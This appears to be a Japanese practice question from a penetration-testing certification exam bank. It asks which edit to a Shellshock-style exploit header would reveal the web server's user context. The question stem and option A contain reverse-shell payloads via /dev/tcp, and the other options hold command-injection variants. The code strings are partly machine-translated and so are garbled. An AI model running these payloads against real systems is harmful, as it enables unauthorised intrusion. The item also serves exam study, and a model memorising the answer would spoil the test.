PT0-002日本語講座質問32：侵入テスターは、10.10.1.1 で脆弱な Web サーバーを発見します。次にテスターは、Web エクスプロイトを送信する Python スクリプトを編集し、次のコードに遭遇します。エクスプロイト

<<前へ次へ>>

質問 32/138

侵入テスターは、10.10.1.1 で脆弱な Web サーバーを発見します。次にテスターは、Web エクスプロイトを送信する Python スクリプトを編集し、次のコードに遭遇します。
エクスプロイト = {"User-Agent": "() { 無視;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}
サーバーが実行されているユーザーコンテキストを判断するために、テスト担当者がスクリプトに加える必要がある編集は、次のうちどれですか?

A. エクスプロイト = {"User-Agent": "() { 無視;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"} B. エクスプロイト = {"User-Agent": "() { 無視;};/bin/bash -i>& find / -perm -4000", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"} C. エクスプロイト = {"User-Agent": "() { 無視;};/bin/sh -i ps -ef" 0>&1", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"} D. エクスプロイト = {"User-Agent": "() { 無視;};/bin/bash -i id;whoami", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}

質問 32/138

コメントを発表する

Download PDF File